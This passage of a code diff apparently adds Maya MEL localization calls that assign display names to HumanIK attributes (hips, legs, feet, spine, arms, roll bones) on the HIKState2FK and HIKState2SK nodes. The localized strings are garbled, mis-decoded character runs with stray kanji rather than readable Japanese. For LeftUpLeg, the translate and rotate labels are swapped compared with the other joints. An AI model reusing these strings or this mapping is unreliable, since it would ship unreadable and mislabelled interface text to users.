); +setAttrNiceNameResource( "HIKState2FK", "RightShoulderExtraGX", "クスシモモメシ GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftUpLegRoll1GX", "メカラエヘネイ犹 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftLegRoll1GX", "メカラヘネイ犹 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightUpLegRoll1GX", "メカモメエヘネイ犹 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightLegRoll1GX", "メカモメヘネイ犹 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftArmRoll1GX", "メカラアロイ犹 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftForeArmRoll1GX", "メカラヌーアロイ犹 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightArmRoll1GX", "メカモメアロイ犹 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightForeArmRoll1GX", "メカモメヌーアロイ犹 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftUpLegRoll2GX", "メカラエヘネイ犹 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftLegRoll2GX", "メカラヘネイ犹 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightUpLegRoll2GX", "メカモメエヘネイ犹 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightLegRoll2GX", "メカモメヘネイ犹 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftArmRoll2GX", "メカラアロイ犹 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftForeArmRoll2GX", "メカラヌーアロイ犹 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightArmRoll2GX", "メカモメアロイ犹 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightForeArmRoll2GX", "メカモメヌーアロイ犹 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftUpLegRoll3GX", "メカラエヘネイ犹 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftLegRoll3GX", "メカラヘネイ犹 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightUpLegRoll3GX", "メカモメエヘネイ犹 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightLegRoll3GX", "メカモメヘネイ犹 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftArmRoll3GX", "メカラアロイ犹 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftForeArmRoll3GX", "メカラヌーアロイ犹 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightArmRoll3GX", "メカモメアロイ犹 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightForeArmRoll3GX", "メカモメヌーアロイ犹 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftUpLegRoll4GX", "メカラエヘネイ犹 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftLegRoll4GX", "メカラヘネイ犹 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightUpLegRoll4GX", "メカモメエヘネイ犹 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightLegRoll4GX", "メカモメヘネイ犹 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftArmRoll4GX", "メカラアロイ犹 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftForeArmRoll4GX", "メカラヌーアロイ犹 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightArmRoll4GX", "メカモメアロイ犹 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightForeArmRoll4GX", "メカモメヌーアロイ犹 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftUpLegRoll5GX", "メカラエヘネイ犹 5 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftLegRoll5GX", "メカラヘネイ犹 5 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightUpLegRoll5GX", "メカモメエヘネイ犹 5 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightLegRoll5GX", "メカモメヘネイ犹 5 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftArmRoll5GX", "メカラアロイ犹 5 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftForeArmRoll5GX", "メカラヌーアロイ犹 5 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightArmRoll5GX", "メカモメアロイ犹 5 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightForeArmRoll5GX", "メカモメヌーアロイ犹 5 GX" ); +setAttrNiceNameResource( "HIKState2FK", "fza", "メムカウス睫ワモーマカヤマ" ); +// +// Node: HIKState2SK +// +setNodeNiceNameResource( "HIKState2SK", "HIKState 2SK" ); +setAttrNiceNameResource( "HIKState2SK", "fzn", "カウス" ); +setAttrNiceNameResource( "HIKState2SK", "InputCharacterState", "ハ菠スヌノォラエフャ" ); +setAttrNiceNameResource( "HIKState2SK", "InputCharacterDefinition", "ハ菠スヌノォカィメ" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceT", "メモテニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceTx", "メモテニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceTy", "メモテニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceTz", "メモテニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceR", "メモテミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceRx", "メモテミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceRy", "メモテミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceRz", "メモテミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceS", "メモテヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceSx", "メモテヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceSy", "メモテヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceSz", "メモテヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "ReferencePGX", "メモテ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceROrder", "メモテミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceSC", "メモテ SC" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceIS", "メモテ IS" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceISx", "メモテ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceISy", "メモテ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceISz", "メモテ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "ReferencePreR", "メモテミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "ReferencePreRx", "メモテミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "ReferencePreRy", "メモテミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "ReferencePreRz", "メモテミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "ReferencePostR", "メモテミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "ReferencePostRx", "メモテミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "ReferencePostRy", "メモテミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "ReferencePostRz", "メモテミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "HipsT", "ナイソニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTx", "ナイソニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTy", "ナイソニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTz", "ナイソニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "HipsR", "ナイソミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "HipsRx", "ナイソミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "HipsRy", "ナイソミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "HipsRz", "ナイソミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "HipsS", "ナイソヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "HipsSx", "ナイソヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "HipsSy", "ナイソヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "HipsSz", "ナイソヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "HipsPGX", "ナイソ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "HipsROrder", "ナイソミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "HipsSC", "ナイソ SC" ); +setAttrNiceNameResource( "HIKState2SK", "HipsIS", "ナイソ IS" ); +setAttrNiceNameResource( "HIKState2SK", "HipsISx", "ナイソ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "HipsISy", "ナイソ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "HipsISz", "ナイソ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "HipsPreR", "ナイソミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "HipsPreRx", "ナイソミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "HipsPreRy", "ナイソミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "HipsPreRz", "ナイソミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "HipsPostR", "ナイソミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "HipsPostRx", "ナイソミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "HipsPostRy", "ナイソミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "HipsPostRz", "ナイソミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegT", "ラエヘネミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegTx", "ラエヘネミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegTy", "ラエヘネミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegTz", "ラエヘネミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegR", "ラエヘネニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRx", "ラエヘネニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRy", "ラエヘネニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRz", "ラエヘネニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegS", "ラエヘネヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegSx", "ラエヘネヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegSy", "ラエヘネヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegSz", "ラエヘネヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegPGX", "ラエヘネ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegROrder", "ラエヘネミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegSC", "ラエヘネ SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegIS", "ラエヘネ IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegISx", "ラエヘネ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegISy", "ラエヘネ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegISz", "ラエヘネ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegPreR", "ラエヘネミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegPreRx", "ラエヘネミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegPreRy", "ラエヘネミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegPreRz", "ラエヘネミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegPostR", "ラエヘネミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegPostRx", "ラエヘネミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegPostRy", "ラエヘネミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegPostRz", "ラエヘネミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegT", "ラヘネニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegTx", "ラヘネニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegTy", "ラヘネニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegTz", "ラヘネニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegR", "ラヘネミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRx", "ラヘネミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRy", "ラヘネミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRz", "ラヘネミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegS", "ラヘネヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegSx", "ラヘネヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegSy", "ラヘネヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegSz", "ラヘネヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegPGX", "ラヘネ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegROrder", "ラヘネミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegSC", "ラヘネ SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegIS", "ラヘネ IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegISx", "ラヘネ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegISy", "ラヘネ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegISz", "ラヘネ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegPreR", "ラヘネミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegPreRx", "ラヘネミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegPreRy", "ラヘネミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegPreRz", "ラヘネミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegPostR", "ラヘネミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegPostRx", "ラヘネミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegPostRy", "ラヘネミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegPostRz", "ラヘネミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootT", "ラスナニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootTx", "ラスナニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootTy", "ラスナニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootTz", "ラスナニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootR", "ラスナミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRx", "ラスナミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRy", "ラスナミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRz", "ラスナミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootS", "ラスナヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootSx", "ラスナヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootSy", "ラスナヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootSz", "ラスナヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPGX", "ラスナ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootROrder", "ラスナミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootSC", "ラスナ SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIS", "ラスナ IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootISx", "ラスナ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootISy", "ラスナ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootISz", "ラスナ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPreR", "ラスナミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPreRx", "ラスナミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPreRy", "ラスナミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPreRz", "ラスナミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPostR", "ラスナミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPostRx", "ラスナミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPostRy", "ラスナミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPostRz", "ラスナミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegT", "モメエヘネニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegTx", "モメエヘネニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegTy", "モメエヘネニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegTz", "モメエヘネニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegR", "モメエヘネミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRx", "モメエヘネミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRy", "モメエヘネミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRz", "モメエヘネミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegS", "モメエヘネヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegSx", "モメエヘネヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegSy", "モメエヘネヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegSz", "モメエヘネヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegPGX", "モメエヘネ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegROrder", "モメエヘネミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegSC", "モメエヘネ SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegIS", "モメエヘネ IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegISx", "モメエヘネ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegISy", "モメエヘネ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegISz", "モメエヘネ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegPreR", "モメエヘネミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegPreRx", "モメエヘネミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegPreRy", "モメエヘネミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegPreRz", "モメエヘネミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegPostR", "モメエヘネミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegPostRx", "モメエヘネミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegPostRy", "モメエヘネミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegPostRz", "モメエヘネミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegT", "モメヘネニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegTx", "モメヘネニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegTy", "モメヘネニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegTz", "モメヘネニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegR", "モメヘネミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRx", "モメヘネミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRy", "モメヘネミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRz", "モメヘネミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegS", "モメヘネヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegSx", "モメヘネヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegSy", "モメヘネヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegSz", "モメヘネヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegPGX", "モメヘネ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegROrder", "モメヘネミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegSC", "モメヘネ SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegIS", "モメヘネ IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegISx", "モメヘネ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegISy", "モメヘネ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegISz", "モメヘネ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegPreR", "モメヘネミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegPreRx", "モメヘネミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegPreRy", "モメヘネミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegPreRz", "モメヘネミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegPostR", "モメヘネミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegPostRx", "モメヘネミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegPostRy", "モメヘネミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegPostRz", "モメヘネミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootT", "モメスナニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootTx", "モメスナニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootTy", "モメスナニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootTz", "モメスナニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootR", "モメスナミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRx", "モメスナミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRy", "モメスナミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRz", "モメスナミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootS", "モメスナヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootSx", "モメスナヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootSy", "モメスナヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootSz", "モメスナヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPGX", "モメスナ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootROrder", "モメスナミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootSC", "モメスナ SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIS", "モメスナ IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootISx", "モメスナ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootISy", "モメスナ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootISz", "モメスナ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPreR", "モメスナミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPreRx", "モメスナミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPreRy", "モメスナミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPreRz", "モメスナミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPostR", "モメスナミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPostRx", "モメスナミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPostRy", "モメスナミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPostRz", "モメスナミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "SpineT", "シケラオニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "SpineTx", "シケラオニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "SpineTy", "シケラオニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "SpineTz", "シケラオニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "SpineR", "シケラオミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "SpineRx", "シケラオミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "SpineRy", "シケラオミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "SpineRz", "シケラオミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "SpineS", "シケラオヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "SpineSx", "シケラオヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "SpineSy", "シケラオヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "SpineSz", "シケラオヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "SpinePGX", "シケラオ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "SpineROrder", "シケラオミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "SpineSC", "シケラオ SC" ); +setAttrNiceNameResource( "HIKState2SK", "SpineIS", "シケラオ IS" ); +setAttrNiceNameResource( "HIKState2SK", "SpineISx", "シケラオ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "SpineISy", "シケラオ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "SpineISz", "シケラオ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "SpinePreR", "シケラオミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "SpinePreRx", "シケラオミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "SpinePreRy", "シケラオミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "SpinePreRz", "シケラオミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "SpinePostR", "シケラオミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "SpinePostRx", "シケラオミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "SpinePostRy", "シケラオミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "SpinePostRz", "シケラオミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmT", "ラアロニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmTx", "ラアロニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmTy", "ラアロニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmTz", "ラアロニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmR", "ラアロミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRx", "ラアロミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRy", "ラアロミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRz", "ラアロミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmS", "ラアロヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmSx", "ラアロヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmSy", "ラアロヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmSz", "ラアロヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmPGX", "ラアロ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmROrder", "ラアロミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmSC", "ラアロ SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmIS", "ラアロ IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmISx", "ラアロ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmISy", "ラアロ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmISz", "ラアロ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmPreR", "ラアロミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmPreRx", "ラアロミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmPreRy", "ラアロミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmPreRz", "ラアロミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmPostR", "ラアロミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmPostRx", "ラアロミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmPostRy", "ラアロミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmPostRz", "ラアロミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmT", "ラヌーアロニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmTx", "ラヌーアロニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmTy", "ラヌーアロニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmTz", "ラヌーアロニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmR", "ラヌーアロミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRx", "ラヌーアロミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRy", "ラヌーアロミラェy" ); 